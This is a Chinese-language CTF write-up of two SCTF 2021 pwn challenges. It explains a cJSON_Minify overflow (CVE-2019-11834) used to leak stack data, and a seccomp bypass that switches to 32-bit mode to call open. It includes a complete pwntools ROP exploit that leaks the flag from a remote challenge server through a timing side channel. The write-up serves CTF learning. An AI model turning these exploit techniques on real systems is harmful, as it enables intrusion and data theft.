【WP】2021SCTF复现
dataleak
给的共享库是libcjson.so.1.7.10
https://github.com/DaveGamble/cJSON/releases
看到1.7.11版本修复了缓冲区溢出漏洞
对应CVE-2019-11834
源码
1 | CJSON_PUBLIC(void) cJSON_Minify(char *json) |
可以看到,cJSON_Minify 中如果检测到字符’ ‘,’\t’, ‘\r’, ‘\n’则指针前移
如果检测到//则说明这一行是注释,指针前移到行末的回车
如果检测到\*说明遇到多行注释,会将指针前移直到遇到’*/‘,然后一次性前移两格
其他情况都会记录下来
上面提到的对多行注释的处理存在漏洞,程序只考虑了正确的多行注释写法的处理方式,但如果只用了/*却不使用*/,则会一直将指针前移直到指向空字符,然后再前移两格
分析
1 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) |
栈结构如下1
2
3
4
5
6
7
8
9-0000000000000055 db ? ; undefined
-0000000000000054 var_54 dd ?
-0000000000000050 buf dq ?
-0000000000000048 var_48 dq ?
-0000000000000040 v5 dq ?
-0000000000000038 var_38 dq ?
-0000000000000030 v6 db 24 dup(?)
-0000000000000018 var_18 db ?
-0000000000000017 db ? ; undefined
给buf读了0xe个字节,再给v5读了0xe个字节,然后调用cJSON_Minify处理buf,最后输出v5。想要获得的是v6的数据
所以要做的是通过构造payload让函数中的*into指针在v5的位置记录下v6的内容,由于一次只允许输出11字节数据,需要泄露的诗句22字节,所以需要调整两次利用中指针的位置,一次一半将数据泄露出来。
最后打服务器就是泄露出相应数据再发过去就行
payload
1 | r.send("aaaa/*aaaaaaaa") |
gadget
程序给了一个裸的栈溢出
只允许fstat,read,alarm三个系统调用
但没有检查架构1
2
3
4
5
6
7
8
9
10ayoung@ubuntu:~/pwn/sctf$ seccomp-tools dump ./gadget
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005
0002: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006
0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006
0004: 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
32位下系统调用号5对应open
再找一下程序里正好有retf/retfq能够转换架构,也有int 0x80进行系统调用
没有write,就只能考虑侧信道输出flag
官方wp使用的方法是将flag的每一位通过gadget转换为rdi,调用alarm然后跳死循环,通过计算程序崩掉的时间得到flag内容(学到了)
转换为rdi的过程是利用了出题人自己加入的gadget,要先将rbx内容清空1
2
3
4.text:00000000004011BE mov bl, [rsi+rax]
.text:00000000004011C1 mov rdi, rbx
.text:00000000004011C4 push r14
.text:00000000004011C6 retn
还有一种做法是利用一处神奇的gadget0x408F72
在这之前让r15+0x38指向我们猜测的字符,控制flag读入的位置并通过调用read让执行pop rax的时候栈顶只存在一个字符
比较的结果影响cmovnz的行为
如果相等则不动,eax覆盖ecx
如果不等则ecx覆盖eax
所以如果不相等,ecx=eax=0xcd2cfca4
如果相等,eax=ecx=0xdf6f8009
相等最后会进入死循环,不等则炸掉,从而侧信道泄露flag1
2
3
4
5.text:0000000000408F72 cmp rax, [r15+38h]
.text:0000000000408F76 mov eax, 0CD2CFCA4h
.text:0000000000408F7B mov ecx, 0DF6F8009h
.text:0000000000408F80 cmovnz eax, ecx
.text:0000000000408F83 jmp loc_409269
(蛮多跳转的就不多贴了)
exp
第二种做法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91from pwn import*
context(os='linux')#, log_level='debug')
prax_r = 0x0000000000401001
prdi_rbp_r = 0x0000000000401734
prsi_r15_rbp_r = 0x0000000000401732
prsp_r14_r15_rbp_r = 0x0000000000401730
prcx_r = 0x000000000040117b
syscall = 0x0000000000401165
retf = 0x00000000004011ed
bss_addr = 0x40c000+6000
mov_edx_syscall = 0x401195
read_sys = 0x401170
sys_r = 0x0000000000405640
ret = 0x0000000000401002
meax_edi_r= 0x406748
gadget = 0x40172b
int80 = 0x00000000004011f3
pr15_rbp_r = 0x0000000000401733
dead_loop = 0x40A765
cmpa = 0x408F72
flag=''
while True:
for offset in range(0x20):
for ch in range(0x21, 0x7e+1):
print (offset,chr(ch))
r = remote('121.37.135.138',2102)
# r = process('./gadget')
pay = b'A'*0x30+b'B'*8
pay+= p64(prdi_rbp_r)+p64(bss_addr)+p64(bss_addr+0x20)+p64(read_sys)
pay+= p64(prdi_rbp_r)+p64(5)+p64(bss_addr+0x20)
pay+= p64(meax_edi_r)
pay+= p64(prsi_r15_rbp_r)+p64(bss_addr+0x200)+p64(bss_addr+0x20)*2
pay+= p64(prcx_r)+p64(0xfffffffd)
pay+= p64(retf)+p32(gadget)+p32(0x23)
pay = pay.ljust(0xc0, b'A')
x86_prdi_rbp_r = 0x401734
x86_p3_r = 0x401733
p = 0x401731
prbx_pr14_pr15_prbp_r = 0x0000000000403072
# gdb.attach(r)
r.send(pay)
payload2 = p32(bss_addr+0xb8)+p32(bss_addr)+p32(0)
payload2+= p32(int80)+p32(ret)
payload2+= p32(retf)+p32(ret)+p32(0x33)
payload2+= p64(prax_r)+p64(0)
payload2+= p64(prdi_rbp_r)+p64(0)+p64(0)
payload2+= p64(prsi_r15_rbp_r)+p64(bss_addr+1100)+p64(0)+p64(bss_addr+1100)
payload2+= p64(0x401195)+p64(0)
payload2+= p64(prax_r)+p64(0)
payload2+= p64(prsp_r14_r15_rbp_r)+p64(bss_addr+1100)
payload2=payload2.ljust(0xb8, b'\x00')
payload2+= b'flag\x00'
payload2=payload2.ljust(0xc0, b'\x00')
r.send(payload2)
payload3= p64(0)*3+p64(prdi_rbp_r)+p64(3)+p64(0)
payload3+= p64(prsi_r15_rbp_r)+p64(bss_addr+1000)+p64(0)*2+p64(syscall)
payload3+= p64(0)
payload3+= p64(prdi_rbp_r)+p64(bss_addr+1000+offset+1)+p64(0)+p64(read_sys)
payload3+= p64(prsi_r15_rbp_r)+p64(0)+p64(bss_addr+1000-0x38+offset)+p64(0)
payload3+= p64(prax_r)+p64(ch)+p64(cmpa)
payload3= payload3.ljust(0xc0,b'\x00')
r.send(payload3)
payload4= p64(0)*4
r.send(payload4)
try:
r.recv(timeout=1)
except:
r.close()
continue
else:
flag += chr(ch)
print ('flag ==> ',flag)
r.close()
break
if(chr(ch)=='}'):
break
print (flag)
exit()
#SCTF{woww0w_y0u_1s_g4dget_m45ter}
先鸽




